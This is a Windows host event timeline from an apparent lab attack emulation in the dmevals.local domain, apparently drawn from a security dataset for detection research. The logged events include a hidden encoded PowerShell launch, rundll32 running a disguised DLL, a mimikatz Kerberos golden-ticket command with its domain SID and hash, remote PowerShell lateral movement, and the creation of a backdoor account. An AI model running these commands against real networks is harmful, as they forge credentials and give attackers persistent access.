Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:26 AM **Event Type:** Process Execute

Detail: SYSTEM · smss.exe · \SystemRoot\System32\smss.exe 00000080 00000084

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:26 AM **Event Type:** Process Execute

Detail: SYSTEM · wininit.exe · wininit.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:26 AM **Event Type:** Process Execute

Detail: SYSTEM · services.exe · C:\windows\system32\services.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:26 AM **Event Type:** Open Process

Detail: C:\windows\system32\services.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:26 AM **Event Type:** Open Process

Detail: C:\windows\system32\lsass.exe

Timeline

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:26 AM **Event Type:** Process Execute

Detail: SYSTEM · lsass.exe · C:\windows\system32\lsass.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:27 AM **Event Type:** Process Execute

Detail: SYSTEM · svchost.exe · C:\windows\system32\svchost.exe -k DcomLaunch -p

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:43 AM **Event Type:** Process Execute

Detail: SYSTEM · WmiPrvSE.exe · C:\windows\system32\wbem\wmiprvse.exe -Embedding

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:49 AM **Event Type:** Process Execute

Detail: SYSTEM · smss.exe · \SystemRoot\System32\smss.exe 000000f0 00000084

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:49 AM **Event Type:** Process Execute

Detail: SYSTEM · winlogon.exe · winlogon.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:12:54 AM **Event Type:** Library Load

Detail: C:\Windows\System32\wbem\wbemcons.dll

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:13:13 AM **Event Type:** Network Connection

Detail: Outbound · 10.0.0.4 · 445 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:13:14 AM **Event Type:** Process Execute

Detail: SYSTEM · powershell.exe · powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:13:24 AM **Event Type:** Process Execute

Detail: dschrute · userinit.exe · C:\windows\system32\userinit.exe

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:13:24 AM **Event Type:** Process Execute

Detail: dschrute · explorer.exe · C:\windows\Explorer.EXE

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:13:47 AM **Event Type:** Network Connection

Detail: Outbound · 10.0.0.4 · 445 · TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:14:07 AM **Event Type:** Process Execute

Detail: dschrute · rundll32.exe · "C:\Windows\System32\rundll32.exe" C:\Users\dschrute\AppData\Roaming\Microsoft\kxwn.lock,VoidFunc

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:14:07 AM **Event Type:** Library Load

Detail: C:\Users\dschrute\AppData\Roaming\Microsoft\kxwn.lock

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:14:15 AM **Event Type:** Library Load

Detail: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\fa56adb2347ed3a045d8f7471018af68\System.Management.Automation.ni.dll

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:15:17 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4103 · Pipeline executed

Comment: CommandInvocation(New-Object): "New-Object" ParameterBinding(New-Object): name="TypeName"; value="System.String" ParameterBinding(New-Object): name="ArgumentList"; value="00048invoke-mimikatz-Evals -command '"kerberos::golden /domain:dmevals.local /sid:S-1-5-21-1719095684-3458891352-3955206944 /rc4:8b51aa3797e27e7303271629d37f50d3 /user:kmalone /ptt"

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:16:19 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational · Event ID 4104 · Scriptblock executed

Comment: klist purge

Timeline

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:16:41 AM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed`

Comment: `invoke-mimikatz-Evals -command '"kerberos::golden /domain:dmevals.local /sid:S-1-5-21-1719095684-3458891352-3955206944 /rc4:8b51aa3797e27e7303271629d37f50d3 /user:kmalone /ptt"'`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:17:24 AM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed`

Comment: `invoke-mimikatz-Evals -command '"kerberos::golden /domain:dmevals.local /sid:S-1-5-21-1719095684-3458891352-3955206944 /rc4:8b51aa3797e27e7303271629d37f50d3 /user:kmalone /ptt"'`

Host: NEWYORK.dmevals.local **Timestamp:** 5/2/2020 4:17:35 AM **Event Type:** Windows Logon

Detail: `dmevals.local • kmalone • 10.0.1.5`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:17:57 AM **Event Type:** Windows Logon

Detail: `DMEVALS • dschrute • 172.18.39.2`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:17:58 AM **Event Type:** Windows Logon

Detail: `DMEVALS • dschrute • 172.18.39.2`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:17:58 AM **Event Type:** Windows Logon

Detail: `DMEVALS • dschrute • 172.18.39.2`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:15 AM **Event Type:** Evtx Event

Detail: `Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed`

Comment: `Enter-PSSession SCRANTON`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:15 AM **Event Type:** Network Connection

Detail: `Outbound • 10.0.1.4 • 5985 • TCP`

Host: SCRANTON.dmevals.local **Timestamp:** 5/2/2020 4:18:19 AM **Event Type:** Windows Logon

Detail: `dmevals.local • kmalone • -`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:19 AM **Event Type:** Process Execute

Detail: `dschrute • rundll32.exe • "C:\Windows\System32\rundll32.exe" C:\Users\dschrute\AppData\Roaming\Microsoft\kxwn.lock,VoidFunc`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:20 AM **Event Type:** Network Connection

Detail: `Outbound • 10.0.1.4 • 5985 • TCP`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:21 AM **Event Type:** Network Connection

Detail: `Outbound • 10.0.1.4 • 5985 • TCP`

Timeline

Host: SCRANTON.dmevals.local **Timestamp:** 5/2/2020 4:18:37 AM **Event Type:** Evtx Event

Detail: Security • Event ID 4724 • An attempt was made to reset an accounts password

Comment: An event was recorded indicating an attempt to reset an account's password on the computer SCRANTON.dmevals.local. The event, identified by Event ID 4724, occurred in the Security channel and was classified under User Account Management with an informational severity level. The event was logged on May 2, 2020, at 04:18:37 UTC and received at 04:24:00 UTC. The subject of the event, identified by Security ID S-1-521-1719095684-3458891352-3955206944-500, is associated with the account name "kmalone" from the domain "DMEVALS" and logged in with Logon ID 0x83C204. The target of the password reset attempt is the account "toby" with Security ID S-1-5-21-3790546881-876066702-777742360-1000 from the domain "SCRANTON." The event was processed by the Microsoft-Windows-Security-Auditing source and captured by the event log module "im_msvistalog." The event was tagged with "mordorDataset" and originated from the host "wec.internal.cloudapp.net." The execution process ID for this event was 752, and the thread ID was 4980. The activity ID associated with this event is {331B86E4-8175-0001-2BF0-5E934E20D601}. This event indicates a successful audit of a password reset attempt, which is a significant action in user account management and could have implications for account security and access control.

Host: SCRANTON.dmevals.local **Timestamp:** 5/2/2020 4:18:37 AM **Event Type:** Evtx Event

Detail: Security • Event ID 4738 • A user account was changed

Host: SCRANTON.dmevals.local **Timestamp:** 5/2/2020 4:18:37 AM **Event Type:** Evtx Event

Detail: Security • Event ID 4720 • A user account was created

Host: SCRANTON.dmevals.local **Timestamp:** 5/2/2020 4:18:37 AM **Event Type:** Evtx Event

Detail: Security • Event ID 4722 • A user account was enabled

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:37 AM **Event Type:** Evtx Event

Detail: Microsoft-Windows-PowerShell/Operational • Event ID 4104 • Scriptblock executed

Comment: Invoke-Command -ComputerName SCRANTON -ScriptBlock {net user /add toby "pamBeesly<3"}

Host: SCRANTON.dmevals.local **Timestamp:** 5/2/2020 4:18:37 AM **Event Type:** Process Execute

Detail: kmalone • wsmprovhost.exe • C:\windows\system32\wsmprovhost.exe -Embedding

Host: SCRANTON.dmevals.local **Timestamp:** 5/2/2020 4:18:37 AM **Event Type:** Process Execute

Detail: kmalone • net.exe • "C:\windows\system32\net.exe" user /add toby pamBeesly<3

Host: SCRANTON.dmevals.local **Timestamp:** 5/2/2020 4:18:37 AM **Event Type:** Process Execute

Detail: kmalone • net1.exe • C:\windows\system32\net1 user /add toby pamBeesly<3

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:38 AM **Event Type:** Network Connection

Detail: Outbound • 10.0.1.4 • 5985 • TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:38 AM **Event Type:** Network Connection

Detail: Outbound • 10.0.1.4 • 5985 • TCP

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:18:38 AM **Event Type:** Network Connection

Detail: Outbound • 10.0.1.4 • 5985 • TCP

Timeline

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:21:21 AM **Event Type:** Network Connection

Detail: `Outbound · 10.0.1.4 · 5985 · TCP`

Host: UTICA.dmevals.local **Timestamp:** 5/2/2020 4:21:21 AM **Event Type:** Network Connection

Detail: `Outbound · 10.0.1.4 · 5985 · TCP`